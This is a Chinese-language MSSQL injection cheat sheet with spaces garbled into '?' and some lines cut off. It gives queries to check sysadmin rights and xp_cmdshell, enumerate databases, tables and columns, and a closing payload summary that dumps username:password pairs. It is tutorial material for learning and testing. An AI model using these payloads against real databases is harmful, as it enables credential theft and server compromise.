当前用户名:
select?user
服务器级别:
select?IS_SRVROLEMEMBER('sysadmin')
?
数据库级别:
select?IS_MEMBER('db_owner')
?
2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service
系统:当前数据库名:
select?db_name()
数据库版本:
select?@@version
计算机名:
select?host_name()
当前数据库所在计算机名:
select?@@servername
判断战库分离:
select?host_name()=@@servername
命令:是否支持xpcmdshell
select?count(*)?from?master.dbo.sysobjects?where?xtype?=?'x'?and?name?=??'xp_cmds
?
返回1就代表存在xp_cmdshell
2.获取数据:获取库名:
select?db_name()
?
获取所有数据库名:
select?name?from?master.dbo.sysdatabases;
?
获取表名:
select?name?from?test.dbo.sysobjects
?
sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象 sysobjects表结构:
?
如果直接使用select name from test.dbo.sysobjects,就会造成将一些无用的数据也回显出来,因此我们需要使用xtype来筛选满足条件的对象 以下是未筛选的回显内容
select?name?from?test.dbo.sysobjects?where?xtype?=?'u'
以下是我们使用where筛选后的内容
当然在实际利用中一般回显一回显一行数据,因此需要使用top来限定只反显1行内容
select?top?1?name?from?test.dbo.sysobjects?where?xtype?=?'u'
?
那该如何获取下一个表名呢?
select?top?1?name?from?test.dbo.sysobjects?where?xtype?=?'u'?and?name??!='emails'
我想你会想,如果是我要获取第10个表名的话岂不是需要写9个条件判断语句,那样也太繁琐了吧 因此我们可以直接利用sql语法,not in('xxxx')
select?top?1?name?from?test.dbo.sysobjects?where?xtype?=?'u'?and?name??not?in('emails','
?
获取字段名:数据库表syscolumns 各个字段含义:每个数据库创建后都会有一些系统表用来存储该数据库的一些基本信息 每个表和视图中的每列在表中占一行,存储过程中的每个参数在表中也占一行。该表位于每个数据库中。
select?*?from?test.dbo.syscolumns
如果不进行筛选的话,会有许多有关数据库配置等无关的字段出现
在mssql中每一张表都有直接的id,因此我们可以sysobjects来查询到我们想要的表的id,进而达到筛选的目的
select?name?from?test.dbo.syscolumns?where?id=(select?id?from??test.dbo.sysobjects?where?name?=?'users')?and?name<>'id'
在实际情况下,如果我们要爆的数据是在web应用所使用的表时,可以省略test.dbo.
当然如果只能回显一行的话依然需要使用top 爆数据:
select?top?1?username+':'+?password?from?test.dbo.users
?
爆数据payload总结:
库名:
select?name?from?master.dbo.sysdatabases;
表名:
select?top?1?name?from?test.dbo.sysobjects?where?xtype?=?'u'?and?name??not?in('emails','uagents');
列名:
select?name?from?syscolumns?where?id=(select?id?from?sysobjects?where??name?=?'users')?and?name<>'id'
数据:
select?top?1?username+':'+?password?from?test.dbo.users